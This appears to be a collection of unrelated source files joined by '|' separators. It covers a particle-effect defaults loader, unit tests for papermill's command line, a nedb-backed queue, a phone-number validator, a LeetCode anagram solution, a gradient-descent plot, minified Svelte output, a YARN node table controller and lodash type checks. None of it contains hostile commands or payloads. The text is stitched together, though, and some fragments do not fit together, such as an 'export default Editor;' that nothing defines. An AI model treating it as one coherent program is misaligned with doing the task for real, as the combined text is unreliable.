const loadParticleEffectDefaults = (effect, particleModulesInfo) => {
// Assign any missing properties to their defaultValue
// Show warning for any missing defaultValues
const effectResult = { textures: effect.textures, modules: [] };
effect.modules.forEach((module) => {
const moduleResult = { ...module };
const moduleInfo = particleModulesInfo.find(
(info) => info.moduleTypeId === module.moduleTypeId
);
Object.entries(moduleInfo.properties).forEach(
([propertyKey, propertyInfo]) => {
const curValue = moduleResult[propertyKey];
if (curValue !== undefined) return;
if (!("defaultValue" in propertyInfo)) {
console.warn(
`Missing property @defaultValue ${module.moduleTypeId}: ${propertyKey}`
);
return;
}
let defaultValue = propertyInfo.defaultValue;
// defaultValue info is always parsed as strings
// Casting to the proper JS data type is important here so that "save to file" works correctly.
if (propertyInfo.type === "Number") {
try {
defaultValue = Number(defaultValue);
} catch (e) {
console.error(`Number defaultValue parsing error ${defaultValue}`);
}
} else if (propertyInfo.type === "Boolean") {
defaultValue = defaultValue.toLowerCase() === "true" ? true : false;
} else if (propertyInfo.type === "EasingFunction") {
// Load default value as string
if (typeof defaultValue !== "string")
throw new Error(
`defaultValue parsing error ${propertyInfo.type} (${defaultValue})`
);
} else if (
propertyInfo.type === "Range" ||
propertyInfo.type === "Burst[]" ||
propertyInfo.type === "Position" ||
propertyInfo.type === "Color[]" ||
propertyInfo.type === "Shape"
) {
try {
defaultValue = JSON.parse(defaultValue);
} catch (e) {
console.error(
`defaultValue parsing error ${propertyInfo.type} (${defaultValue})`
);
}
} else {
throw new Error(`Unhandled defaultValue type: ${propertyInfo.type}`);
}
moduleResult[propertyKey] = defaultValue;
}
);
effectResult.modules.push(moduleResult);
});
return effectResult;
};
export default Editor;
|
import unitTest from '../../../gulp/helpers/unitTest';
unitTest('exactRatioWorkAround1', __dirname, '@media not all and (max-aspect-ratio: 2 / 1){.unitTest{color:#000}}')
|
export { default } from "./ContentBar";
|
const exec = require('child_process').execSync;
module.exports = function tryExec (t, cmd, msg) {
try {
var margin = ' '.padStart(t._objectPrintDepth || 0, '.'); // eslint-disable-line no-underscore-dangle
var stdout = exec(cmd);
t.pass(msg);
if (stdout && stdout.length > 0) {
stdout = stdout.toString('utf8');
t.comment(margin + stdout.replace(/\n+/g, '\n' + margin)); // eslint-disable-line prefer-template
return stdout || true;
}
return true;
}
catch (err) {
t.error((err.stderr && err.stderr.toString('utf8'))
|| (err.stdout && err.stdout.toString('utf8'))
|| err.message, msg);
return false;
}
};
|
class PhoneNumberValidator {
static validateMobilePhoneNumber(num) {
const ukNumberMatchRE = new RegExp(/^7[0-9]{9}$/);
const ukPrefix = '44';
const internationalMatchRE = new RegExp(/^[0-9]*$/);
if (num.startsWith('+')) {
let toValidate = num.slice(1);
if (toValidate.startsWith(ukPrefix)) {
toValidate = toValidate.slice(2);
if (toValidate.match(ukNumberMatchRE)) {
return true;
}
} else if (toValidate.match(internationalMatchRE)) {
return true;
}
}
if (num.startsWith('07')) {
const toValidate = num.slice(1);
if (toValidate.match(ukNumberMatchRE)) {
return true;
}
}
return false;
}
}
module.exports = PhoneNumberValidator;
|
/**
* Created by nitingoel on 5/25/16.
*/
//var editor = CodeMirror.fromTextArea(document.getElementById("code"), {
// // mode: "application/xml",
// styleActiveLine: true,
// lineNumbers: true,
// lineWrapping: true,
// highlightSelectionMatches: {showToken: /\w/, annotateScrollbar: true}
//});
var editor = ace.edit("editor");
editor.setTheme("ace/theme/tomorrow");
editor.getSession().setMode("ace/mode/plp");
|
/**
* Problem: https://leetcode.com/problems/find-all-anagrams-in-a-string/description/
*/
/**
* @param {string} s
* @param {string} p
* @return {number[]}
*/
var findAnagrams = function (s, p) {
var frequency = {}, visit = {}, result = [];
for (var i = 0; i < p.length; ++i) {
frequency[p[i]] = frequency[p[i]] ? ++frequency[p[i]] : 1;
}
for (var i = 0; i < p.length; ++i) {
visit[s[i]] = visit[s[i]] ? ++visit[s[i]] : 1;
}
var checkMatch = function (obj1, obj2) {
for (var key in obj1) {
if (obj1[key] !== obj2[key]) {
return false;
}
}
return true;
};
for (var i = 0; i < s.length - p.length + 1; ++i) {
if (checkMatch(frequency, visit)) result.push(i);
--visit[s[i]];
visit[s[i + p.length]] = visit[s[i + p.length]] ? ++visit[s[i + p.length]] : 1;
}
return result;
};
module.exports = findAnagrams;
|
"use strict";
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
return new (P || (P = Promise))(function (resolve, reject) {
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
function step(result) { result.done ? resolve(result.value) : new P(function (resolve) { resolve(result.value); }).then(fulfilled, rejected); }
step((generator = generator.apply(thisArg, _arguments || [])).next());
});
};
Object.defineProperty(exports, "__esModule", { value: true });
const Datastore = require("nedb");
const _ = require("lodash");
const BlueBird = require("bluebird");
class QueueServerClass {
constructor() {
this.lastId = 0;
this.filename = __dirname + "/cache/Queue.db";
}
initDB() {
return __awaiter(this, void 0, void 0, function* () {
let option = {
filename: this.filename,
autoload: true
};
this.db = new Datastore(option);
this.db.persistence.setAutocompactionInterval(300000);
this.lastId = yield this.getLastId();
});
}
getLastFromDb(num, query = {}) {
return __awaiter(this, void 0, void 0, function* () {
var self = this;
return new BlueBird(function (resolve, reject) {
self.db.find(query).sort({ _id: 1 }).limit(num).exec(function (err, document) {
if (err) {
reject(err);
}
else {
resolve(document);
}
});
})
.timeout(1000 * 60 * 10)
.catch(BlueBird.TimeoutError, function (error) {
throw error;
});
});
}
insertDb(obj) {
return __awaiter(this, void 0, void 0, function* () {
this.lastId++;
obj["_id"] = this.lastId;
var self = this;
return new BlueBird(function (resolve, reject) {
self.db.insert(obj, function (err, document) {
if (err) {
reject(err);
}
else {
resolve(document);
}
});
}).timeout(1000 * 60 * 10)
.catch(BlueBird.TimeoutError, function (error) {
throw error;
});
});
}
removeDb(id) {
return __awaiter(this, void 0, void 0, function* () {
var self = this;
return new BlueBird(function (resolve, reject) {
self.db.remove({ _id: id }, {}, function (err, numRemoved) {
if (err) {
reject(err);
}
else {
resolve(numRemoved);
}
});
}).timeout(1000 * 60 * 10)
.catch(BlueBird.TimeoutError, function (error) {
throw error;
});
});
}
removeAllDb() {
return __awaiter(this, void 0, void 0, function* () {
var self = this;
return new BlueBird(function (resolve, reject) {
self.db.remove({}, { multi: true }, function (err, numRemoved) {
if (err) {
reject(err);
}
else {
resolve(numRemoved);
}
});
}).timeout(1000 * 60 * 10)
.catch(BlueBird.TimeoutError, function (error) {
throw error;
});
});
}
getLastId() {
return __awaiter(this, void 0, void 0, function* () {
var self = this;
return new BlueBird(function (resolve, reject) {
self.db.find({}).sort({ _id: -1 }).limit(1).exec(function (err, document) {
if (err) {
reject(err);
}
else {
if (!_.isEmpty(document) && _.isArray(document)) {
resolve(document[0]._id);
}
else {
resolve(0);
}
}
});
}).timeout(1000 * 60 * 10)
.catch(BlueBird.TimeoutError, function (error) {
throw error;
});
});
}
}
exports.QueueServer = new QueueServerClass();
|
import { NotImplementedError } from '../extensions/index.js';
/**
* Create a repeating string based on the given parameters
*
* @param {String} str string to repeat
* @param {Object} options options object
* @return {String} repeating string
*
*
* @example
*
* repeater('STRING', { repeatTimes: 3, separator: '**',
* addition: 'PLUS', additionRepeatTimes: 3, additionSeparator: '00' })
* => 'STRINGPLUS00PLUS00PLUS**STRINGPLUS00PLUS00PLUS**STRINGPLUS00PLUS00PLUS'
*
*/
export default function repeater(str, options) {
let result = "";
str = String(str);
options.addition = String(options.addition);
if (options.repeatTimes) {
for (let i = 0; i < options.repeatTimes; i++) {
result += str;
if (options.additionRepeatTimes && options.addition) {
for (let j = 0; j < options.additionRepeatTimes; j++) {
result += options.addition;
if (options.additionSeparator && (j < options.additionRepeatTimes - 1) ) {
result += options.additionSeparator
} else if (j < options.additionRepeatTimes - 1) {result += "|"}
}
} else if (options.addition != 'undefined') {result += options.addition;}
if (options.separator && (i < options.repeatTimes-1)) {
result += options.separator;
} else if (i < options.repeatTimes-1) {
result += "+";
}
}
return result;
} else {
result += str;
if (options.additionRepeatTimes && options.addition) {
for (let j = 0; j < options.additionRepeatTimes; j++) {
result += options.addition;
if (options.additionSeparator && (j < options.additionRepeatTimes - 1) ) {
result += options.additionSeparator
} else if (j < options.additionRepeatTimes - 1) {result += "|"}
}
} if (options.addition) {
result += options.addition;
}
};
return result;
}
|
import numpy as np
import os
import sys
from matplotlib import pyplot as plt
lr = 10e-3
early_stop = 2**(-32)
def init_w(w1, w2):
return np.array([[w1], [w2]])
def gradient_desc(x1, x2, w1, w2, lr=10e-3, MAX_ITER=10**3):
N = 1
it = 0
prev_loss = None
change_rate = 1
w_hist = np.zeros((MAX_ITER, 2))
cost_hist = np.zeros(MAX_ITER)
Jsqrt = lambda x1, x2, w1, w2: x1 * w1 - 5 * x2 * w2 - 2
while change_rate > early_stop and it < MAX_ITER:
jsqrt = Jsqrt(x1, x2, w1, w2)
prev_loss = jsqrt
w1, w2 = w1 - (1/N) * lr * 2.0 * x1 * jsqrt, w2 - (1/N) * lr * (-10.0) * x2 * jsqrt
change_rate = (Jsqrt(x1, x2, w1, w2)) ** 2 if not prev_loss else abs((Jsqrt(x1, x2, w1, w2)) ** 2 - prev_loss)
prev_loss = (Jsqrt(x1, x2, w1, w2)) ** 2
print("Iter #{}\nTraining loss: {} ".format(it, change_rate))
w_hist[it, :] = np.array([[w1, w2]], dtype=float)
cost_hist[it] = (Jsqrt(x1, x2, w1, w2)) ** 2
it += 1
return [w1, w2], w_hist, cost_hist, it
if __name__ == '__main__':
x1, x2 = 1.0, 1.0
w1, w2 = 0.0, 0.0
w, hist, cost_hist, it = gradient_desc(x1, x2, w1, w2)
print(w, cost_hist[-1])
plt.xlabel("Iteration #")
plt.ylabel("Loss")
plt.plot(range(it), cost_hist[:it], color='green', marker='o', linestyle='dashed', linewidth=0.2, markersize=3)
fig = plt.figure(figsize=(5, 5), dpi=300)
plot = fig.add_subplot(111, projection='3d')
plot.yaxis.set_tick_params(labelsize=8)
plot.xaxis.set_tick_params(labelsize=8)
plot.zaxis.set_tick_params(labelsize=8)
plot.set_xlabel("w1")
plot.set_ylabel("w2")
plot.set_zlabel("J")
plot.scatter(hist[:it, 0], hist[:it, 1], cost_hist[:it],
marker="x", color='r', s=10, linewidth=1, alpha=0.8)
plot.plot(hist[:it, 0], hist[:it, 1], cost_hist[:it],
linestyle='dashed', color='b', linewidth=1, alpha=0.8)
plt.show()
|
import{S as s,i as a,s as e,e as o,t,k as n,c as r,a as c,g as l,d,n as h,b as i,f as v,D as f,E as m}from"../chunks/vendor-2c2bd768.js";function p(s){let a,e,p,u,S,b;return{c(){a=o("div"),e=o("h1"),p=t("Svelte Toolkit"),u=n(),S=o("p"),b=t("These are some components and styles, based on Svelte and Sass."),this.h()},l(s){a=r(s,"DIV",{class:!0});var o=c(a);e=r(o,"H1",{});var t=c(e);p=l(t,"Svelte Toolkit"),t.forEach(d),u=h(o),S=r(o,"P",{});var n=c(S);b=l(n,"These are some components and styles, based on Svelte and Sass."),n.forEach(d),o.forEach(d),this.h()},h(){i(a,"class","container")},m(s,o){v(s,a,o),f(a,e),f(e,p),f(a,u),f(a,S),f(S,b)},p:m,i:m,o:m,d(s){s&&d(a)}}}class u extends s{constructor(s){super(),a(this,s,null,p,e,{})}}export{u as default};
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
""" Test the command line interface """
import os
import sys
import subprocess
import uuid
import nbclient
import nbformat
from jupyter_client import kernelspec
import unittest
import pytest
from click.testing import CliRunner
from mock import patch
from . import get_notebook_path, kernel_name
from .. import cli
from ..cli import papermill, _is_int, _is_float, _resolve_type
@pytest.mark.parametrize(
"test_input,expected",
[
("True", True),
("False", False),
("None", None),
("12.51", 12.51),
("10", 10),
("hello world", "hello world"),
(u"😍", u"😍"),
],
)
def test_resolve_type(test_input, expected):
assert _resolve_type(test_input) == expected
@pytest.mark.parametrize(
"value,expected",
[
(13.71, True),
("False", False),
("None", False),
(-8.2, True),
(10, True),
("10", True),
("12.31", True),
("hello world", False),
(u"😍", False),
],
)
def test_is_float(value, expected):
assert (_is_float(value)) == expected
@pytest.mark.parametrize(
"value,expected",
[
(13.71, True),
("False", False),
("None", False),
(-8.2, True),
("-23.2", False),
(10, True),
("13", True),
("hello world", False),
(u"😍", False),
],
)
def test_is_int(value, expected):
assert (_is_int(value)) == expected
class TestCLI(unittest.TestCase):
default_execute_kwargs = dict(
input_path='input.ipynb',
output_path='output.ipynb',
parameters={},
engine_name=None,
request_save_on_cell_execute=True,
autosave_cell_every=30,
prepare_only=False,
kernel_name=None,
log_output=False,
progress_bar=True,
start_timeout=60,
execution_timeout=None,
report_mode=False,
cwd=None,
stdout_file=None,
stderr_file=None,
)
def setUp(self):
self.runner = CliRunner()
self.default_args = [
self.default_execute_kwargs['input_path'],
self.default_execute_kwargs['output_path'],
]
self.sample_yaml_file = os.path.join(
os.path.dirname(__file__), 'parameters', 'example.yaml'
)
self.sample_json_file = os.path.join(
os.path.dirname(__file__), 'parameters', 'example.json'
)
def augment_execute_kwargs(self, **new_kwargs):
kwargs = self.default_execute_kwargs.copy()
kwargs.update(new_kwargs)
return kwargs
@patch(cli.__name__ + '.execute_notebook')
def test_parameters(self, execute_patch):
self.runner.invoke(
papermill, self.default_args + ['-p', 'foo', 'bar', '--parameters', 'baz', '42']
)
execute_patch.assert_called_with(
**self.augment_execute_kwargs(parameters={'foo': 'bar', 'baz': 42})
)
@patch(cli.__name__ + '.execute_notebook')
def test_parameters_raw(self, execute_patch):
self.runner.invoke(
papermill, self.default_args + ['-r', 'foo', 'bar', '--parameters_raw', 'baz', '42']
)
execute_patch.assert_called_with(
**self.augment_execute_kwargs(parameters={'foo': 'bar', 'baz': '42'})
)
@patch(cli.__name__ + '.execute_notebook')
def test_parameters_file(self, execute_patch):
self.runner.invoke(
papermill,
self.default_args
+ ['-f', self.sample_yaml_file, '--parameters_file', self.sample_json_file],
)
execute_patch.assert_called_with(
**self.augment_execute_kwargs(
# Last input wins dict update
parameters={
'foo': 54321,
'bar': 'value',
'baz': {'k2': 'v2', 'k1': 'v1'},
'a_date': '2019-01-01',
}
)
)
@patch(cli.__name__ + '.execute_notebook')
def test_parameters_yaml(self, execute_patch):
self.runner.invoke(
papermill,
self.default_args + ['-y', '{"foo": "bar"}', '--parameters_yaml', '{"foo2": ["baz"]}'],
)
execute_patch.assert_called_with(
**self.augment_execute_kwargs(parameters={'foo': 'bar', 'foo2': ['baz']})
)
@patch(cli.__name__ + '.execute_notebook')
def test_parameters_yaml_date(self, execute_patch):
self.runner.invoke(papermill, self.default_args + ['-y', 'a_date: 2019-01-01'])
execute_patch.assert_called_with(
**self.augment_execute_kwargs(parameters={'a_date': '2019-01-01'})
)
@patch(cli.__name__ + '.execute_notebook')
def test_parameters_yaml_override(self, execute_patch):
self.runner.invoke(
papermill,
self.default_args + ['--parameters_yaml', '{"foo": "bar"}', '-y', '{"foo": ["baz"]}'],
)
execute_patch.assert_called_with(
**self.augment_execute_kwargs(
# Last input wins dict update
parameters={'foo': ['baz']}
)
)
@patch(
cli.__name__ + '.execute_notebook', side_effect=nbclient.exceptions.DeadKernelError("Fake")
)
def test_parameters_dead_kernel(self, execute_patch):
result = self.runner.invoke(
papermill,
self.default_args + ['--parameters_yaml', '{"foo": "bar"}', '-y', '{"foo": ["baz"]}'],
)
assert result.exit_code == 138
@patch(cli.__name__ + '.execute_notebook')
def test_parameters_base64(self, execute_patch):
self.runner.invoke(
papermill,
self.default_args
+ [
'--parameters_base64',
'eyJmb28iOiAicmVwbGFjZWQiLCAiYmFyIjogMn0=',
'-b',
'eydmb28nOiAxfQ==',
],
)
execute_patch.assert_called_with(
**self.augment_execute_kwargs(parameters={'foo': 1, 'bar': 2})
)
@patch(cli.__name__ + '.execute_notebook')
def test_parameters_base64_date(self, execute_patch):
self.runner.invoke(
papermill, self.default_args + ['--parameters_base64', 'YV9kYXRlOiAyMDE5LTAxLTAx']
)
execute_patch.assert_called_with(
**self.augment_execute_kwargs(parameters={'a_date': '2019-01-01'})
)
@patch(cli.__name__ + '.execute_notebook')
def test_inject_input_path(self, execute_patch):
self.runner.invoke(papermill, self.default_args + ['--inject-input-path'])
execute_patch.assert_called_with(
**self.augment_execute_kwargs(parameters={'PAPERMILL_INPUT_PATH': 'input.ipynb'})
)
@patch(cli.__name__ + '.execute_notebook')
def test_inject_output_path(self, execute_patch):
self.runner.invoke(papermill, self.default_args + ['--inject-output-path'])
execute_patch.assert_called_with(
**self.augment_execute_kwargs(parameters={'PAPERMILL_OUTPUT_PATH': 'output.ipynb'})
)
@patch(cli.__name__ + '.execute_notebook')
def test_inject_paths(self, execute_patch):
self.runner.invoke(papermill, self.default_args + ['--inject-paths'])
execute_patch.assert_called_with(
**self.augment_execute_kwargs(
parameters={
'PAPERMILL_INPUT_PATH': 'input.ipynb',
'PAPERMILL_OUTPUT_PATH': 'output.ipynb',
}
)
)
@patch(cli.__name__ + '.execute_notebook')
def test_engine(self, execute_patch):
self.runner.invoke(papermill, self.default_args + ['--engine', 'engine-that-could'])
execute_patch.assert_called_with(
**self.augment_execute_kwargs(engine_name='engine-that-could')
)
@patch(cli.__name__ + '.execute_notebook')
def test_prepare_only(self, execute_patch):
self.runner.invoke(papermill, self.default_args + ['--prepare-only'])
execute_patch.assert_called_with(**self.augment_execute_kwargs(prepare_only=True))
@patch(cli.__name__ + '.execute_notebook')
def test_kernel(self, execute_patch):
self.runner.invoke(papermill, self.default_args + ['-k', 'python3'])
execute_patch.assert_called_with(**self.augment_execute_kwargs(kernel_name='python3'))
@patch(cli.__name__ + '.execute_notebook')
def test_set_cwd(self, execute_patch):
self.runner.invoke(papermill, self.default_args + ['--cwd', 'a/path/here'])
execute_patch.assert_called_with(**self.augment_execute_kwargs(cwd='a/path/here'))
@patch(cli.__name__ + '.execute_notebook')
def test_progress_bar(self, execute_patch):
self.runner.invoke(papermill, self.default_args + ['--progress-bar'])
execute_patch.assert_called_with(**self.augment_execute_kwargs(progress_bar=True))
@patch(cli.__name__ + '.execute_notebook')
def test_no_progress_bar(self, execute_patch):
self.runner.invoke(papermill, self.default_args + ['--no-progress-bar'])
execute_patch.assert_called_with(**self.augment_execute_kwargs(progress_bar=False))
@patch(cli.__name__ + '.execute_notebook')
def test_log_output(self, execute_patch):
self.runner.invoke(papermill, self.default_args + ['--log-output'])
execute_patch.assert_called_with(
**self.augment_execute_kwargs(
log_output=True,
progress_bar=False, # Setting log-output should disable progress bar by default
)
)
@patch(cli.__name__ + '.execute_notebook')
def test_log_output_plus_progress(self, execute_patch):
self.runner.invoke(papermill, self.default_args + ['--log-output', '--progress-bar'])
execute_patch.assert_called_with(
**self.augment_execute_kwargs(log_output=True, progress_bar=True)
)
@patch(cli.__name__ + '.execute_notebook')
def test_no_log_output(self, execute_patch):
self.runner.invoke(papermill, self.default_args + ['--no-log-output'])
execute_patch.assert_called_with(**self.augment_execute_kwargs(log_output=False))
@patch(cli.__name__ + '.execute_notebook')
def test_log_level(self, execute_patch):
self.runner.invoke(papermill, self.default_args + ['--log-level', 'WARNING'])
# TODO: this does not actually test log-level being set
execute_patch.assert_called_with(**self.augment_execute_kwargs())
@patch(cli.__name__ + '.execute_notebook')
def test_start_timeout(self, execute_patch):
self.runner.invoke(papermill, self.default_args + ['--start-timeout', '123'])
execute_patch.assert_called_with(**self.augment_execute_kwargs(start_timeout=123))
@patch(cli.__name__ + '.execute_notebook')
def test_start_timeout_backwards_compatibility(self, execute_patch):
self.runner.invoke(papermill, self.default_args + ['--start_timeout', '123'])
execute_patch.assert_called_with(**self.augment_execute_kwargs(start_timeout=123))
@patch(cli.__name__ + '.execute_notebook')
def test_execution_timeout(self, execute_patch):
self.runner.invoke(papermill, self.default_args + ['--execution-timeout', '123'])
execute_patch.assert_called_with(**self.augment_execute_kwargs(execution_timeout=123))
@patch(cli.__name__ + '.execute_notebook')
def test_report_mode(self, execute_patch):
self.runner.invoke(papermill, self.default_args + ['--report-mode'])
execute_patch.assert_called_with(**self.augment_execute_kwargs(report_mode=True))
@patch(cli.__name__ + '.execute_notebook')
def test_no_report_mode(self, execute_patch):
self.runner.invoke(papermill, self.default_args + ['--no-report-mode'])
execute_patch.assert_called_with(**self.augment_execute_kwargs(report_mode=False))
@patch(cli.__name__ + '.execute_notebook')
def test_version(self, execute_patch):
self.runner.invoke(papermill, ['--version'])
execute_patch.assert_not_called()
@patch(cli.__name__ + '.execute_notebook')
def test_many_args(self, execute_patch):
self.runner.invoke(
papermill,
self.default_args
+ [
'-f',
self.sample_yaml_file,
'-y',
'{"yaml_foo": {"yaml_bar": "yaml_baz"}}',
'-b',
'eyJiYXNlNjRfZm9vIjogImJhc2U2NF9iYXIifQ==',
'-p',
'baz',
'replace',
'-r',
'foo',
'54321',
'--kernel',
'R',
'--engine',
'engine-that-could',
'--prepare-only',
'--log-output',
'--autosave-cell-every',
'17',
'--no-progress-bar',
'--start-timeout',
'321',
'--execution-timeout',
'654',
'--report-mode',
],
)
execute_patch.assert_called_with(
**self.augment_execute_kwargs(
parameters={
'foo': '54321',
'bar': 'value',
'baz': 'replace',
'yaml_foo': {'yaml_bar': 'yaml_baz'},
"base64_foo": "base64_bar",
'a_date': '2019-01-01',
},
engine_name='engine-that-could',
request_save_on_cell_execute=True,
autosave_cell_every=17,
prepare_only=True,
kernel_name='R',
log_output=True,
progress_bar=False,
start_timeout=321,
execution_timeout=654,
report_mode=True,
cwd=None,
)
)
def papermill_cli(papermill_args=None, **kwargs):
cmd = [sys.executable, '-m', 'papermill.cli']
if papermill_args:
cmd.extend(papermill_args)
return subprocess.Popen(cmd, **kwargs)
def papermill_version():
try:
proc = papermill_cli(['--version'], stdout=subprocess.PIPE)
out, _ = proc.communicate()
if proc.returncode:
return None
return out.decode('utf-8')
except (OSError, SystemExit): # pragma: no cover
return None
@pytest.fixture()
def notebook():
for name in kernelspec.find_kernel_specs():
ks = kernelspec.get_kernel_spec(name)
metadata = {
'kernelspec': {'name': name, 'language': ks.language, 'display_name': ks.display_name}
}
return nbformat.v4.new_notebook(
metadata=metadata,
cells=[
nbformat.v4.new_markdown_cell('This is a notebook with kernel: ' + ks.display_name)
],
)
raise EnvironmentError('No kernel found')
require_papermill_installed = pytest.mark.skipif(
not papermill_version(), reason='papermill is not installed'
)
@require_papermill_installed
def test_pipe_in_out_auto(notebook):
process = papermill_cli(stdout=subprocess.PIPE, stdin=subprocess.PIPE)
text = nbformat.writes(notebook)
out, err = process.communicate(input=text.encode('utf-8'))
# Test no message on std error
assert not err
# Test that output is a valid notebook
nbformat.reads(out.decode('utf-8'), as_version=4)
@require_papermill_installed
def test_pipe_in_out_explicit(notebook):
process = papermill_cli(['-', '-'], stdout=subprocess.PIPE, stdin=subprocess.PIPE)
text = nbformat.writes(notebook)
out, err = process.communicate(input=text.encode('utf-8'))
# Test no message on std error
assert not err
# Test that output is a valid notebook
nbformat.reads(out.decode('utf-8'), as_version=4)
@require_papermill_installed
def test_pipe_out_auto(tmpdir, notebook):
nb_file = tmpdir.join('notebook.ipynb')
nb_file.write(nbformat.writes(notebook))
process = papermill_cli([str(nb_file)], stdout=subprocess.PIPE)
out, err = process.communicate()
# Test no message on std error
assert not err
# Test that output is a valid notebook
nbformat.reads(out.decode('utf-8'), as_version=4)
@require_papermill_installed
def test_pipe_out_explicit(tmpdir, notebook):
nb_file = tmpdir.join('notebook.ipynb')
nb_file.write(nbformat.writes(notebook))
process = papermill_cli([str(nb_file), '-'], stdout=subprocess.PIPE)
out, err = process.communicate()
# Test no message on std error
assert not err
# Test that output is a valid notebook
nbformat.reads(out.decode('utf-8'), as_version=4)
@require_papermill_installed
def test_pipe_in_auto(tmpdir, notebook):
nb_file = tmpdir.join('notebook.ipynb')
process = papermill_cli([str(nb_file)], stdin=subprocess.PIPE)
text = nbformat.writes(notebook)
out, _ = process.communicate(input=text.encode('utf-8'))
# Nothing on stdout
assert not out
# Test that output is a valid notebook
with open(str(nb_file)) as fp:
nbformat.reads(fp.read(), as_version=4)
@require_papermill_installed
def test_pipe_in_explicit(tmpdir, notebook):
nb_file = tmpdir.join('notebook.ipynb')
process = papermill_cli(['-', str(nb_file)], stdin=subprocess.PIPE)
text = nbformat.writes(notebook)
out, _ = process.communicate(input=text.encode('utf-8'))
# Nothing on stdout
assert not out
# Test that output is a valid notebook
with open(str(nb_file)) as fp:
nbformat.reads(fp.read(), as_version=4)
@require_papermill_installed
def test_stdout_file(tmpdir):
nb_file = tmpdir.join('notebook.ipynb')
stdout_file = tmpdir.join('notebook.stdout')
secret = str(uuid.uuid4())
process = papermill_cli(
[
get_notebook_path('simple_execute.ipynb'),
str(nb_file),
'-k',
kernel_name,
'-p',
'msg',
secret,
'--stdout-file',
str(stdout_file),
]
)
out, err = process.communicate()
assert not out
assert not err
with open(str(stdout_file)) as fp:
assert fp.read() == secret + '\n'
|
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import Ember from 'ember';
import ColumnDef from 'em-table/utils/column-definition';
import TableDefinition from 'em-table/utils/table-definition';
export default Ember.Controller.extend({
queryParams: ['searchText', 'sortColumnId', 'sortOrder', 'pageNum', 'rowCount'],
tableDefinition: TableDefinition.create({
searchType: 'manual',
}),
searchText: Ember.computed.alias('tableDefinition.searchText'),
sortColumnId: Ember.computed.alias('tableDefinition.sortColumnId'),
sortOrder: Ember.computed.alias('tableDefinition.sortOrder'),
pageNum: Ember.computed.alias('tableDefinition.pageNum'),
rowCount: Ember.computed.alias('tableDefinition.rowCount'),
tableDefinition: TableDefinition.create({
enableFaceting: true,
minValuesToDisplay: 1,
rowCount: 25
}),
columns: function() {
var colums = [];
colums.push({
id: 'label',
headerTitle: 'Node Label',
contentPath: 'nodeLabelsAsString',
minWidth: "125px"
}, {
id: 'rack',
headerTitle: 'Rack',
contentPath: 'rack',
facetType: null,
minWidth: "250px"
}, {
id: 'state',
headerTitle: 'Node State',
contentPath: 'state',
cellComponentName: 'em-table-status-cell',
minWidth: "125px"
}, {
id: 'address',
headerTitle: 'Node Address',
contentPath: 'id',
minWidth: "300px",
facetType: null,
}, {
id: 'nodeId',
headerTitle: 'Node HTTP Address',
contentPath: 'nodeHTTPAddress',
cellComponentName: 'em-table-linked-cell',
facetType: null,
getCellContent: function(row) {
var node_id = row.get("id"),
node_addr = encodeURIComponent(row.get("nodeHTTPAddress")),
href = `#/yarn-node/${node_id}/${node_addr}/info`;
switch(row.get("nodeState")) {
case "SHUTDOWN":
case "LOST":
href = "";
}
return {
text: row.get("nodeHTTPAddress"),
href: href
};
},
minWidth: "250px"
}, {
id: 'containers',
headerTitle: 'Containers',
contentPath: 'numContainers',
facetType: null,
}, {
id: 'memUsed',
headerTitle: 'Mem Used',
contentPath: 'usedMemoryBytes',
facetType: null,
cellDefinition: {
type: "memory"
}
}, {
id: 'memAvail',
headerTitle: 'Mem Available',
contentPath: 'availMemoryBytes',
facetType: null,
cellDefinition: {
type: "memory"
}
}, {
id: 'coresUsed',
headerTitle: 'VCores Used',
contentPath: 'usedVirtualCores',
facetType: null,
}, {
id: 'coresAvail',
headerTitle: 'VCores Available',
contentPath: 'availableVirtualCores',
facetType: null,
}, {
id: 'healthUpdate',
headerTitle: 'Last Health Update',
contentPath: 'lastHealthUpdate',
facetType: null,
minWidth: "250px"
}, {
id: 'healthReport',
headerTitle: 'Health-Report',
contentPath: 'healthReport',
facetType: null,
minWidth: "200px"
}, {
id: 'version',
headerTitle: 'Version',
contentPath: 'version',
facetType: null,
observePath: true
});
return ColumnDef.make(colums);
}.property()
});
|
// @flow
import assignIn from "lodash/assignIn";
import attempt from "lodash/attempt";
import clone from "lodash/clone";
import concat from "lodash/concat";
import conformsTo from "lodash/conformsTo";
import countBy from "lodash/countBy";
import debounce from "lodash/debounce";
import defaultTo from "lodash/defaultTo";
import difference from "lodash/difference";
import differenceBy from "lodash/differenceBy";
import each from "lodash/each";
import extend from "lodash/extend";
import find from "lodash/find";
import first from "lodash/first";
import flatMap from "lodash/flatMap";
import forEach from "lodash/forEach";
import get from "lodash/get";
import groupBy from "lodash/groupBy";
import intersectionBy from "lodash/intersectionBy";
import isEqual from "lodash/isEqual";
import isString from "lodash/isString";
import keyBy from "lodash/keyBy";
import map from "lodash/map";
import memoize from "lodash/memoize";
import noop from "lodash/noop";
import pullAllBy from "lodash/pullAllBy";
import range from "lodash/range";
import sortedIndexBy from "lodash/sortedIndexBy";
import sortedLastIndexBy from "lodash/sortedLastIndexBy";
import tap from "lodash/tap";
import thru from "lodash/thru";
import times from "lodash/times";
import toPairs from "lodash/toPairs";
import toPairsIn from "lodash/toPairsIn";
import unionBy from "lodash/unionBy";
import uniqBy from "lodash/uniqBy";
import xorBy from "lodash/xorBy";
import zip from "lodash/zip";
import zipWith from "lodash/zipWith";
/**
* _.attempt
*/
attempt(() => void 0);
attempt(x => x);
attempt(x => x, "first arg");
attempt((x, y, z) => {}, null, {}, []);
/**
* _.countBy
*/
countBy([6.1, 4.2, 6.3], Math.floor);
countBy(["one", "two", "three"], "length");
/**
* _.difference
*/
difference((["a", "b"]: $ReadOnlyArray<string>), (["b"]: $ReadOnlyArray<string>));
